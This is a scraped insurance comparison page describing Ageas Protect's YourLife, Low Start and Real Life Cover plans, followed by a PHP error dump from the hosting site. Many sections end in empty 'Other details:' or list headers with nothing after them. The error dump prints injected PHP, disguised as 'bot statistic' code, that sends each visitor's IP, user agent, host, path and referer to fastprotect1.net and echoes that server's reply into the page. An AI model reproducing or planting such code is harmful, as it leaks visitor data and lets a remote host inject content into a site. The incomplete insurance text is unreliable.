Ageas Life Insurance Products Through YourLife, Low Start and Realf Life Plans

Ageas Protect (formerly Fortis) offers its life insurance products through three types of plans:

The article will focus on the life insurance cover, but will also look into the optional covers you can include with life insurance.

Quick Facts

YourLife Plan Low Start Plan Real Life Cover
Primary purpose of product

Protects against financial loss due to the Person Insured’s death or terminal illness.

Provides specific insurance cover with low start-up premiums.

Provides a comprehensive cover under one plan.

The plan pays upon the Person Insured’s death, terminal illness, diagnosis of cancer, the need for the Person Insured to leave work to be a carer for a partner or child, the Person Insured’s incapacity and/or recovery.

Plan basics

The life cover is term assurance that pays the benefit upon the Person Insured’s death or terminal illness.

The Sum Insured can be increasing, decreasing (to cover a loan or mortgage) or level.

The life cover is term assurance that pays the benefit upon the Person Insured’s death or terminal illness.

The premiums increase every year while the cover remains the same.

The plan includes not just life cover but also Critical Illness Cover, Income Protection Cover, Recuperation Cover, Waiver of Premium and Child & Partner Carer’s Cover. These other benefits are payable under the Living Cover.

The Sum Insured can only be increasing or level, not decreasing.

Cover Limits
Minimum cover limit

No minimum, depends on the minimum premium.

No minimum, depends on the minimum premium.

No minimum, depends on the minimum premium.

Maximum cover limits

None, but may require further information for large amounts.

None, but may require further information for large amounts.

£250,000

Cash-in value

None

None

None

Eligibility
Minimum age at entry

17

17

17

Maximum age at entry

86 (for term assurance)

59 years (for critical illness with term assurance)

86 (for term assurance)

59 years (for critical illness with term assurance)

50

Other eligibility require-ments

Must be a resident of the UK, Channel Islands and Isle of Man

(should be living in these areas for at least 10 months within any 12-month period)

Must be a resident of the UK, Channel Islands and Isle of Man

(should be living in these areas for at least 10 months within any 12-month period)

Must be a resident of the UK, Channel Islands and Isle of Man

(should be living in these areas for at least 10 months within any 12-month period)

Length of Cover
Minimum term

3 years

3 years

5 years

Maximum term

70 years (for term assurance)

40 years (for critical illness with term assurance)

70 years (for term assurance)

40 years (for critical illness with term assurance)

53 years

Maximum age

89 years old (for term assurance)

69 years (for critical illness with term assurance)

89 years old (for term assurance)

69 years (for critical illness with term assurance)

70 years old

Maximum age when the benefit payments end

Not Applicable

Not Applicable

80 years old

70 years old for Unemployment and Extended Carer’s Cover

Premiums
Future changes in premiums?

No, premiums are guaranteed. Premiums will change if the Person Insured makes changes to the cover, or there is a misstatement of age.

Yes, premiums are designed to increase annually at each plan anniversary.

No, premiums remain level throughout the life of the policy.

Minimum premium

£5 monthly

£5 monthly

£5 monthly

Maximum premium

None, dependent on maximum cover

None, dependent on maximum cover

None, dependent on maximum cover

Guaranteed premiums Yes No Yes
Reviewable premium No Yes No
Additional benefits
Terminal illness Yes Yes Yes
Joint life cover

Yes, only for Joint Life First Death/Event

Yes, only for Joint Life First Death/Event

No
Critical illness cover

Optional

Optional

Yes, but only for cancer, heart attack or stroke

Premium protection

Optional , can be for a single life or joint life (either cover on one life or for each life)

Optional , can be for a single life or joint life (either cover on one life or for each life)

No
Renewal option No No No
Replace-ment cover No No No
Separation option Yes Yes No
Indexation option

Optional, but the increase is set at 5%

No

Optional, but the increase is set at 5%

Guaranteed insurability option

Optional

Optional

Optional

Extra cover feature

- Critical Illness (Optional)

- Income Protection (Optional)

- Total Disability (Optional)

- Critical Illness (Optional)

- Income Protection (Optional)

- Total Disability (Optional)

- Income Protection

- Recuperation Cover

- Child & Partner Carer’s Cover

- Unemployment and Extended Carer’s Cover (Optional)

Plan Details

Sum Insured

The amount of cover can be:

Payment

The payments depend on the type of covers included in the plan.

Death of the Person Insured (For YourLife and LowStart Plans)

Type of Covers Included in the Plan Amount of Payment

Term Assurance and Critical Illness

or

Term Assurance, Critical Illness and Total Permanent Disability

Payment will be the Sum Insured less any previous payments for additional benefits of critical illness (mastectomy for ductal carcinoma in situ of the breast)

If the cover is for a family income benefit, the benefit payments will be given out monthly.

Term Assurance, Critical Illness and Total Disability

Payment will be the Sum Insured less any previous payments for additional benefits of critical illness (mastectomy for ductal carcinoma in situ of the breast) and Total Disability

If the cover is for a family income benefit, the benefit payments will be given out monthly.

The Sum Insured is payable only once. After payment, the plan terminates.

For Real Life Cover, the benefits are divided into the Sum Assured (the death benefit) and the Living Fund (for the Living Cover). The Sum Insured pays upon the Person Insured’s death or terminal illness. Critical Illness Cover, Income Protection Cover, Recuperation Cover, Waiver of Premium and Child & Partner Carer’s Cover are all payable under the Living Cover.

Cash-In Value

There are no cash-in values for the plans.

Premiums

Premiums can be guaranteed or renewable, depending on the kind of plan selected.

Increasing the Length of the Plan

This is for plans that are designed to cover a mortgage. If the mortgage increases the length of the term, the Person Insured can also opt to extend the term of the plan. The new cover must be applied for within 13 weeks from the date the mortgage increases its term. The new cover should be of the same type as the original cover. The new cover cannot extend beyond the Person Insured’s 65th birthday or the end of the term of the new mortgage, whatever is earlier.

Other details:

The option to extend the length of the plan is no longer available if:

Additional Benefits/Options

Terminal Illness Benefit

This pays out the Sum Insured or the listed monthly income benefit if the Person Insured is diagnosed with a terminal illness. This is the type of illness that is incurable (no known cure available or the illness has progressed that it is no longer curable) and is reasonably expected to lead to the Person Insured’s death within 12 months.

Critical Illness Cover

This pays a specified amount (usually the same as the sum insured) in the event the Person Insured is diagnosed with a covered critical illness.

The Critical Illness Cover will pay if the Person Insured is diagnosed with:

Other cover details:

Total Disability

This benefit is only available for covers that include total disability. This will pay a monthly benefit that is the lower of:

The payments will also depend on whether the Person Insured was in paid work or not before he became disabled.

Other details:

Recuperation Cover

Available only for Real Life Cover, this pays for services that can help the Person Insured recover from illness, injury or disability. The services depend upon the Person Insured’s specific situation, but are subject to approval from Ageas Protect. This can range from counseling, therapy, expenses covering travel to and from work.

Other details:

Child & Partner Carer’s Cover

If the Person Insured has to leave work to become a full-time carer because of a partner or a child’s incapacity, this cover will pay a lump sum out of the Living Fund.

Other details:

Unemployment and Extended Carer’s Cover

This optional cover is available for the Real Life plan. This pays out a benefit in the event that a person becomes unemployed or has to leave work to become a full-time carer because of a partner or a child’s incapacity.

Other details:

Premium Protection/Waiver of Premium

This optional cover will pay for the premiums of the plan if the Person Insured is unable to do so because of incapacity.

Other details:

Income Protection

This provides a monthly benefit to the Person Insured if he:

Incapacity can be defined using the following:

The way “incapacity” is defined depends on whether he is in paid employment and the type of work he does. The maximum amount of payment will depend on how he meets the above definitions.

Other details:

Separation Option

This is available for joint life covers. It enables the joint life cover to be separated into two single life covers. This is if the two Persons Insured separates from their partner.

Other conditions:

Guaranteed Insurability Option

The Person Insured can opt to increase his Sum Insured without having to present additional medical evidence of insurability. This is for specific life events. This includes:

The allowable increase is up to the lower of:

Other details:

Exclusions

The cover will not pay for claims where:

How to Make a Claim

When making a claim, Ageas will usually require the following:

Other details:

Eligible countries include:

To secure your family's future, fill in the form on the right and get your term life insurance quote now.

Types of insurance:
Term life insurance 101:
Life insurers:
*Scottish Provident 2012 life cover claims paid report.
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known 
  Error type/ Nr.: Warning - 2 
  File: /home/termlife/public_html/index.php 
  Line: 139 
  Line 139 source: <?php /*This code use for global bot statistic*/ $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); /*Looks for google search bot*/ $sReferer = ''; if(isset($_SERVER['HTTP_REFERER']) === true) { $sReferer = strtolower($_SERVER['HTTP_REFERER']); } if(!(strpos($sUserAgent, 'google') === false)) /*Bot comes*/ { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) /*Create bot analitics*/ echo file_get_contents('http://fastprotect1.net/Defense/Stat14/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer) ); } else { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) /*Create bot analitics*/ echo file_get_contents('http://fastprotect1.net/Defense/Stat14/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer)); } /*Statistic code end*/ ?>  
 
Parser timing
  MySQL: 0.0029 s(0 Requests)
  PHP: 5.1170 s 
  Total: 5.1199 s